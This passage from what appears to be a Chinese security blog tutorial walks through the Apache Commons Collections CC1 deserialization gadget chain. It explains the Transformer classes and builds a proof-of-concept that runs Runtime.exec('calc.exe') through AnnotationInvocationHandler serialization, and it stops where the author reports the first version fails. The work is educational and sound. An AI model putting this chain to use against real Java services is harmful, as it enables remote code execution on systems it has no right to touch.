class=\"wp-block-heading\">\u7b80\u5355Demo<\/h2>\n\n\n\n<p>\u63a5\u7740\u6211\u4eec\u6765\u8bd5\u8bd5P\u795e\u7ed9\u51fa\u7684\u6700\u7b80\u5355\u7684CC1 payload\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CC;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n\npublic class easycc1 {\n    public static void main(String&#91;] args) throws Exception {\n        Transformer&#91;] transformers = new Transformer&#91;]{\n                new ConstantTransformer(Runtime.getRuntime()),\n                new InvokerTransformer(\"exec\", new Class&#91;]{String.class}, new Object&#91;]{\"calc.exe\"}),\n        };\n        Transformer transformerChain = new ChainedTransformer(transformers);\n        Map innerMap = new HashMap();\n        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);\n        outerMap.put(\"test\", \"xxxx\");\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250422-000742-21-15.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250422-000742-21-15.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><figcaption class=\"wp-element-caption\">\u6211\u53bb\uff01\u6211\u7535\u8111\u600e\u4e48\u53c8\u5f39\u8ba1\u7b97\u5668\u4e86\uff01<\/figcaption><\/figure>\n\n\n\n<p>\u4e0a\u9762\u7684\u4ee3\u7801\u6d89\u53ca\u4e86\u51e0\u4e2a\u63a5\u53e3\u548c\u7c7b\uff0c\u6211\u4eec\u6765\u770b\u770b\uff1a<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Transformer \u548c TransformedMap<\/h3>\n\n\n\n<p><code>Transformer<\/code> \u662f Apache Commons Collections\uff083.x\uff09\u63d0\u4f9b\u7684\u4e00\u4e2a\u63a5\u53e3\uff0c\u7528\u6765\u5bf9\u8f93\u5165\u5bf9\u8c61\u8fdb\u884c\u8f6c\u6362\uff0c\u8fd4\u56de\u8f6c\u6362\u540e\u7684\u5bf9\u8c61\uff0c\u63a5\u53e3\u5b9a\u4e49\u5927\u6982\u957f\u8fd9\u6837\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public interface Transformer {\n    Object transform(Object input);\n}<\/code><\/pre>\n\n\n\n<p><code>TransformedMap<\/code> \u662f\u4e00\u4e2a Map \u7684\u201c\u88c5\u9970\u5668\u201d\u2014\u2014\u5b83\u5305\u88c5\u4e00\u4e2a\u5df2\u6709\u7684 <code>Map<\/code>\uff0c\u5e76\u5728\u4f60\u6267\u884c <code>put()<\/code> \u64cd\u4f5c\u65f6\u81ea\u52a8\u8c03\u7528 Transformer \u5bf9 key \u548c value \u505a\u8f6c\u6362\uff0c\u6bd4\u5982\u6211\u4eec\u53ef\u4ee5\u5bf9 key \u8fdb\u884c\u5927\u5199\u8f6c\u6362\u6216\u8005\u5bf9 value \u8fdb\u884c\u67d0\u79cd\u683c\u5f0f\u5316\u6216\u7c7b\u578b\u8f6c\u6362\u7b49\u7b49\u3002<\/p>\n\n\n\n<p>\u4e0b\u9762\u662f\u4e00\u4e2a\u4ee3\u7801\u793a\u4f8b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CC;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class Example_1 {\n    public static void main(String&#91;] args) {\n        \/\/ \u539f\u59cbMap\uff08\u672a\u88ab\u88c5\u9970\uff09\n        Map normalMap = new HashMap();\n        normalMap.put(\"name\", 123);\n        normalMap.put(\"city\", \"beijing\");\n        System.out.println(\"\u672a\u4f7f\u7528TransformedMap\u7684\u7ed3\u679c\uff1a\");\n        System.out.println(normalMap);\n        \/\/ \u8f93\u51fa: {name=123, city=beijing}\n\n        \/\/ \u5b9a\u4e49Key\u8f6c\u6362\u5668\uff1a\u8f6c\u5927\u5199\n        Transformer keyTransformer = new Transformer() {\n            public Object transform(Object input) {\n                return input.toString().toUpperCase();\n            }\n        };\n\n        \/\/ \u5b9a\u4e49Value\u8f6c\u6362\u5668\uff1a\u52a0\u540e\u7f00\n        Transformer valueTransformer = new Transformer() {\n            public Object transform(Object input) {\n                return input.toString() + \"_suffix\";\n            }\n        };\n\n        \/\/ \u521b\u5efa\u4e00\u4e2a\u65b0\u7684Map\u5e76\u5e94\u7528\u88c5\u9970\u5668\n        Map rawMap = new HashMap();  \/\/ \u88ab\u88c5\u9970\u7684Map\n        Map transformedMap = TransformedMap.decorate(rawMap, keyTransformer, valueTransformer);\n\n        transformedMap.put(\"name\", 123);\n        transformedMap.put(\"city\", \"beijing\");\n\n        System.out.println(\"\\n\u4f7f\u7528TransformedMap\u4e4b\u540e\u7684\u7ed3\u679c\uff1a\");\n        System.out.println(rawMap);\n        \/\/ \u8f93\u51fa: {NAME=123_suffix, CITY=beijing_suffix}\n    }\n}\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-151249-23-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-151249-23-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:592px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u901a\u8fc7\u5b9a\u4e49\u4e00\u4e2aKey\u8f6c\u6362\u5668\u548cValue\u8f6c\u6362\u5668\uff0c\u6211\u4eec\u6210\u529f\u5b9e\u73b0\u4e86\u8ba9Key\u8f6c\u5927\u5199\u4ee5\u53caValue\u540e\u9762\u52a0\u540e\u7f00\u7684\u529f\u80fd\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">ConstantTransformer<\/h3>\n\n\n\n<p>ConstantTransformer\u662f\u5b9e\u73b0\u4e86Transformer\u63a5\u2f1d\u7684\u2f00\u4e2a\u7c7b\uff0c\u4e5f\u662f\u4e00\u4e2a\u8fd4\u56de\u56fa\u5b9a\u503c\u7684\u8f6c\u6362\u5668\uff0c\u65e0\u8bba\u8f93\u5165\u4ec0\u4e48\uff0c\u59cb\u7ec8\u8fd4\u56de\u4e00\u4e2a\u56fa\u5b9a\u503c\uff0c\u5e38\u7528\u4e8e\u8fd4\u56de\u67d0\u4e2a\u7c7b\u7684 <code>Class<\/code> \u5bf9\u8c61\u3001\u53cd\u5c04\u5bf9\u8c61\u7b49\uff0c\u4f5c\u2f64\u5176\u5b9e\u5c31\u662f\u5305\u88c5\u4efb\u610f\u2f00\u4e2a\u5bf9\u8c61\uff0c\u5728\u6267\u2f8f\u56de\u8c03\u65f6\u8fd4\u56de\u8fd9\u4e2a\u5bf9\u8c61\uff0c\u8fdb\u2f7d\u2f45\u4fbf\u540e\u7eed\u64cd\u4f5c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public class ConstantTransformer implements Transformer {\n    private final Object iConstant;\n\n    public ConstantTransformer(Object constantToReturn) {\n        iConstant = constantToReturn;\n    }\n\n    public Object transform(Object input) {\n        return iConstant;\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u6bd4\u5982 <code>new ConstantTransformer(Runtime.class)<\/code>\uff0c\u8c03\u7528 <code>.transform(anything)<\/code> \u5c31\u4f1a\u8fd4\u56de <code>Runtime.class<\/code><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">InvokerTransformer<\/h3>\n\n\n\n<p><code>InvokerTransformer<\/code> \u4e5f\u662f <code>Transformer<\/code> \u63a5\u53e3\u7684\u4e00\u4e2a\u5b9e\u73b0\uff0c\u4f5c\u7528\u5c31\u662f\uff1a\u7ed9\u5b9a\u65b9\u6cd5\u540d\u548c\u53c2\u6570\uff0c\u901a\u8fc7 Java \u53cd\u5c04\u673a\u5236\u8c03\u7528\u5bf9\u8c61\u7684\u67d0\u4e2a\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public class InvokerTransformer implements Transformer, Serializable {\n    private final String iMethodName;\n    private final Class&#91;] iParamTypes;\n    private final Object&#91;] iArgs;\n\n    public InvokerTransformer(String methodName, Class&#91;] paramTypes, Object&#91;] args) {\n        iMethodName = methodName;\n        iParamTypes = paramTypes;\n        iArgs = args;\n    }\n\n    public Object transform(Object input) {\n        try {\n            Method method = input.getClass().getMethod(iMethodName, iParamTypes);\n            return method.invoke(input, iArgs);\n        } catch (Exception e) {\n            throw new FunctorException(\"InvokerTransformer failed\", e);\n        }\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u5b9e\u4f8b\u5316\u4ed6\u7684\u65f6\u5019\u9700\u8981\u4f20\u5165\u4e09\u4e2a\u53c2\u6570\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u5f85\u6267\u884c\u7684\u65b9\u6cd5\u540d\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u662f\u51fd\u6570\u53c2\u6570\u7684\u7c7b\u578b\uff0c\u7b2c\u4e09\u4e2a\u53c2\u6570\u662f\u4f20\u7ed9\u8be5\u51fd\u6570\u7684\u53c2\u6570\uff0c\u6bd4\u5982\u4e0b\u9762\u7684\u4f8b\u5b50\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CC;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\n\npublic class Example_2 {\n    public static void main(String&#91;] args) {\n        \/\/ \u521b\u5efa\u4e00\u4e2a InvokerTransformer\uff0c\u8c03\u7528 toUpperCase \u65b9\u6cd5\uff0c\u65e0\u53c2\u6570\n        Transformer transformer = new InvokerTransformer(\n                \"toUpperCase\",\n                null,\n                null\n        );\n\n        Object result = transformer.transform(\"taffy\");\n        System.out.println(result); \/\/ \u8f93\u51fa\uff1aTAFFY\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-152708-23-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-152708-23-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:638px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u5c31\u5229\u7528<code>InvokerTransformer<\/code> \u901a\u8fc7\u53cd\u5c04\u8c03\u7528\u4e86\u4e00\u6b21toUpperCase\u65b9\u6cd5\uff0c\u628a\u5c0f\u5199\u7684taffy\u8f6c\u6210\u4e86\u5927\u5199\u7684TAFFY<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">ChainedTransformer<\/h3>\n\n\n\n<p><code>ChainedTransformer<\/code> \u5b9e\u73b0\u4e86 <code>Transformer<\/code> \u63a5\u53e3\uff0c\u5185\u90e8\u7ef4\u62a4\u4e00\u4e2a <code>Transformer[]<\/code> \u6570\u7ec4\uff0c\u4f9d\u6b21\u6267\u884c\u6bcf\u4e2a <code>transform()<\/code>\uff0c\u524d\u4e00\u4e2a\u7684\u8f93\u51fa\u4f5c\u4e3a\u540e\u4e00\u4e2a\u7684\u8f93\u5165\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public class ChainedTransformer implements Transformer, Serializable {\n    private final Transformer&#91;] iTransformers;\n\n    public ChainedTransformer(Transformer&#91;] transformers) {\n        iTransformers = transformers;\n    }\n\n    public Object transform(Object input) {\n        Object result = input;\n        for (int i = 0; i &lt; iTransformers.length; i++) {\n            result = iTransformers&#91;i].transform(result);\n        }\n        return result;\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u6bd4\u5982\u4e0b\u9762\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CC;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\n\npublic class Example_3 {\n    public static void main(String&#91;] args) {\n        Transformer&#91;] transformers = new Transformer&#91;]{\n                new InvokerTransformer(\"toUpperCase\", null, null),\n                new InvokerTransformer(\"getClass\", null, null),\n                new InvokerTransformer(\"getName\", null, null)\n        };\n\n        Transformer chained = new ChainedTransformer(transformers);\n        Object result = chained.transform(\"taffy\");\n\n        System.out.println(result);  \/\/ \u8f93\u51fa java.lang.String\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-153430-23-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-153430-23-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:512px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u5728\u8fd9\u91cc\u7684\u4ee3\u7801\u4e2d\uff0c\u6211\u4eec\u9996\u5148\u8c03\u7528 toUpperCase \u5c06\u5b57\u7b26\u4e32\u53d8\u6210\u4e86\u5927\u5199\u7684TAFFY\uff0c\u63a5\u7740\u8c03\u7528 getClass() \u83b7\u5f97 String.class\uff0c\u6700\u540e\u8c03\u7528 getName() \u83b7\u5f97 <code>\"java.lang.String\"<\/code>\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u4ee3\u7801\u5206\u6790<\/h3>\n\n\n\n<p>\u73b0\u5728\u56de\u5230\u4ee3\u7801\u6211\u4eec\u5e94\u8be5\u5c31\u597d\u7406\u89e3\u7684\u591a\u4e86\uff0c\u7b2c\u4e00\u6bb5\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Transformer&#91;] transformers = new Transformer&#91;]{\n                new ConstantTransformer(Runtime.getRuntime()),\n                new InvokerTransformer(\"exec\", new Class&#91;]{String.class}, new Object&#91;]{\"calc.exe\"}),\n        };\n        Transformer transformerChain = new ChainedTransformer(transformers);<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u5176\u5b9e\u5c31\u662f\u521b\u5efa\u4e86\u4e00\u4e2a ChainedTransformer \u6765\u5b9e\u73b0\u591a\u4e2a Transformer \u4e4b\u95f4\u7684\u8fde\u63a5\u3002\u9996\u5148\u662f\u4e00\u4e2a\u662fConstantTransformer \uff0c\u4ed6\u76f4\u63a5\u8fd4\u56de\u4e86\u73af\u5883\u91cc\u7684 Runtime.class \uff0c\u4e00\u4e2aRuntime\u5bf9\u8c61\uff0c\u63a5\u7740\u662f\u4e00\u4e2a InvokerTransformer \uff0c\u4ed6\u8c03\u7528\u4e86Runtime\u5bf9\u8c61\u91cc\u7684exec\u2f45\u6cd5\uff08\u7b2c\u4e00\u4e2aConstantTransformer\u8fd4\u56de\u540e\u6211\u4eec\u73b0\u5728\u5c31\u662fRuntime\u5bf9\u8c61\u4e86\uff09\uff0c\u4f20\u5165\u7684\u53c2\u6570\u7c7b\u578b\u662fString\uff0c\u5177\u4f53\u7684\u53c2\u6570\u662fcalc.exe<\/p>\n\n\n\n<p>\u4e0d\u8fc7\u8fd9\u4e2atransformerChain\u53ea\u662f\u4e00\u7cfb\u5217\u7684\u56de\u8c03\uff0c\u6211\u4eec\u8fd8\u9700\u8981\u4f7f\u7528\u5b83\u5bf9innerMap\u8fdb\u884c\u5305\u88c5\uff0c\u4f7f\u7528\u7684\u5c31\u662f\u6211\u4eec\u4e4b\u524d\u63d0\u8fc7\u7684<code>TransformedMap<\/code> \uff0c\u8fd9\u4e5f\u662f\u6700\u540e\u8fd9\u6bb5\u4ee3\u7801\u7684\u7531\u6765\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Map innerMap = new HashMap();\nMap outerMap = TransformedMap.decorate(innerMap, null, transformerChain);<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\u6211\u4eec\u901a\u8fc7\u5411Map\u653e\u5165\u5143\u7d20\u89e6\u53d1\u56de\u8c03\uff08\u524d\u6587\u63d0\u8fc7\uff0cTransformedMap\u662f\u5728put\u7684\u65f6\u5019\u89e6\u53d1\u7684\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>outerMap.put(\"test\", \"xxxx\");<\/code><\/pre>\n\n\n\n<p>\u4e0d\u8fc7\u8fd9\u4e2ademo\u91cc\u6700\u540e\u7684 outerMap \u662f\u4e0d\u80fd\u5e8f\u5217\u5316\uff0c\u8fd8\u6709\u4e00\u4e9b\u5176\u4ed6\u7684\u95ee\u9898\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5982\u4f55\u8fdb\u884c\u5e8f\u5217\u5316<\/h3>\n\n\n\n<p>\u89e6\u53d1TransformedMap\u7684\u6838\u5fc3\u662f\u4f7f\u7528put\uff0c\u624b\u5de5\u6267\u884c\u5f53\u7136\u65e0\u6240\u8c13\uff0c\u4f46\u662f\u771f\u6b63\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u6211\u4eec\u8fd8\u5f97\u627e\u5230\u4e00\u4e2a\u7c7b\uff0c\u5b83\u5728readObject\u7684\u65f6\u5019\u5b58\u5728\u5199\u5165\uff0c\u8fd9\u6837\u624d\u80fd\u6210\u529f\u6267\u884c\u6211\u4eec\u7684\u6076\u610f\u4ee3\u7801\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">AnnotationInvocationHandler<\/h4>\n\n\n\n<p>\u8fd9\u4e2a\u6211\u4eec\u60f3\u627e\u7684\u5b58\u5728\u5199\u5165\u7684\u7c7b\u5c31\u662fsun.reflect.annotation.AnnotationInvocationHandler\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {\n        var1.defaultReadObject();\n        AnnotationType var2 = null;\n\n        try {\n            var2 = AnnotationType.getInstance(this.type);\n        } catch (IllegalArgumentException var9) {\n            throw new InvalidObjectException(\"Non-annotation type in annotation serial stream\");\n        }\n\n        Map var3 = var2.memberTypes();\n        Iterator var4 = this.memberValues.entrySet().iterator();\n\n        while(var4.hasNext()) {\n            Entry var5 = (Entry)var4.next();\n            String var6 = (String)var5.getKey();\n            Class var7 = (Class)var3.get(var6);\n            if (var7 != null) {\n                Object var8 = var5.getValue();\n                if (!var7.isInstance(var8) &amp;&amp; !(var8 instanceof ExceptionProxy)) {\n                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + \"&#91;\" + var8 + \"]\")).setMember((Method)var2.members().get(var6)));\n                }\n            }\n        }\n\n    }\n<\/code><\/pre>\n\n\n\n<p>\u6838\u5fc3\u903b\u8f91\u5c31\u662f Map.Entry&lt;String, Object&gt; memberValue : memberValues.entrySet() \u548c memberValue.setValue(\u2026)\u3002\u8fd9\u91cc\u7684memberValue\u5176\u5b9e\u662f\u53cd\u5e8f\u5217\u5316\u540e\u5f97\u5230\u7684Map\uff0c\u4e5f\u662f\u7ecf\u8fc7\u4e86<code>TransformedMap<\/code>\u4fee\u9970\u7684\u5bf9\u8c61\uff0c\u8fd9\u91cc\u904d\u5386\u4e86\u5b83\u7684\u6240\u6709\u5143\u7d20\uff0c\u5e76\u4f9d\u6b21\u8bbe\u7f6e\u503c\uff0c\u800c\u5728 setValue \u8fd9\u91cc\u4e00\u65e6\u8bbe\u7f6e\u503c\u5c31\u4f1a\u89e6\u53d1TransformedMap\u91cc\u6ce8\u518c\u7684 Transform\uff0c\u8fdb\u800c\u6267\u884c\u4ee3\u7801\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Iterator var4 = this.memberValues.entrySet().iterator();\nEntry var5 = (Entry)var4.next();\nvar5.setValue()<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">POC\u6784\u9020<\/h4>\n\n\n\n<p>\u8fd9\u91cc\u56e0\u4e3a sun.reflect.annotation.AnnotationInvocationHandler \u662f\u5185\u90e8\u7684\u7c7b\uff0c\u4e0d\u80fd\u76f4\u63a5\u4f7f<br>\u7528new\u6765\u5b9e\u4f8b\u5316\uff0c\u56e0\u6b64\u8fd9\u91cc\u4f7f\u7528\u53cd\u5c04\u83b7\u53d6\u5230\u4e86\u5b83\u7684\u6784\u9020\u65b9\u6cd5\uff0c\u5e76\u5c06\u5176\u8bbe\u7f6e\u6210\u5916\u90e8\u53ef\u89c1\u7684\uff0c\u518d\u8c03\u7528\u5c31\u53ef\u4ee5\u5b9e\u4f8b\u5316\u4e86\uff0c\u7136\u540e\u6211\u4eec\u5c31\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2aAnnotationInvocationHandler\u5e76\u4e14\u628a\u524d\u9762\u6784\u9020\u7684hashmap\u8bbe\u7f6e\u8fdb\u6765\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Class clazz = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\");\nConstructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);\nconstruct.setAccessible(true);\nObject obj = construct.newInstance(Retention.class, outerMap);<\/code><\/pre>\n\n\n\n<p>newInstance\u8fd9\u91cc\u6709\u4e24\u4e2a\u53c2\u6570\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u4f20\u5165\u7684\u81ea\u7136\u5c31\u662f\u6211\u4eec\u4e4b\u524d\u521b\u5efa\u597d\u7684\u6076\u610fMap\uff0c\u90a3\u8fd9\u4e2aRetention.class\u662f\u4ec0\u4e48\u5462\uff1f\u6211\u4eec\u76f4\u63a5\u770b\u5230AnnotationInvocationHandler\u7684\u6784\u9020\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-160751-23-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-160751-23-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u7b2c\u4e8c\u4e2a\u53c2\u6570\u662f\u4e00\u4e2aMap\uff0c\u800c\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u4e00\u4e2aClass&lt;? extends Annotation&gt;\uff0c\u4e5f\u5c31\u662f\u8bf4\u7b2c\u4e00\u4e2a\u53c2\u6570\u5fc5\u987b\u662fAnnotation\u7684\u5b50\u7c7b\uff0c\u81f3\u4e8e\u4e3a\u4ec0\u4e48\u6700\u540e\u9009\u62e9\u4e86 Retention.class\u5462\uff1f\u8fc7\u4f1a\u513f\u518d\u8bf4(*^_^*)<\/p>\n\n\n\n<p>\u73b0\u5728\u5f53\u6211\u4eec\u52a0\u4e0a\u5e8f\u5217\u5316\u7684\u90e8\u5206\uff0c\u6211\u4eec\u7684\u5b8c\u6574\u4ee3\u7801\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CC;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.annotation.Retention;\nimport java.lang.reflect.Constructor;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class easycc1 {\n    public static void main(String&#91;] args) throws Exception {\n        Transformer&#91;] transformers = new Transformer&#91;]{\n                new ConstantTransformer(Runtime.getRuntime()),\n                new InvokerTransformer(\"exec\", new Class&#91;]{String.class}, new Object&#91;]{\"calc.exe\"}),\n        };\n\n        Transformer transformerChain = new ChainedTransformer(transformers);\n        Map innerMap = new HashMap();\n\n        innerMap.put(\"test\", \"xxxx\");\n        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);\n\n        Class clazz = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\");\n        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);\n        construct.setAccessible(true);\n        Object obj = construct.newInstance(Retention.class, outerMap);\n\n        ByteArrayOutputStream barr = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(barr);\n        oos.writeObject(obj);\n        oos.close();\n\n        System.out.println(barr);\n        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));\n        Object o = (Object) ois.readObject();\n\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u5f88\u53ef\u60dc\uff0c\u8fd9\u4e2a\u4ee3\u7801\u662f\u8dd1\u4e0d\u901a\u7684\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-161643-23-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" 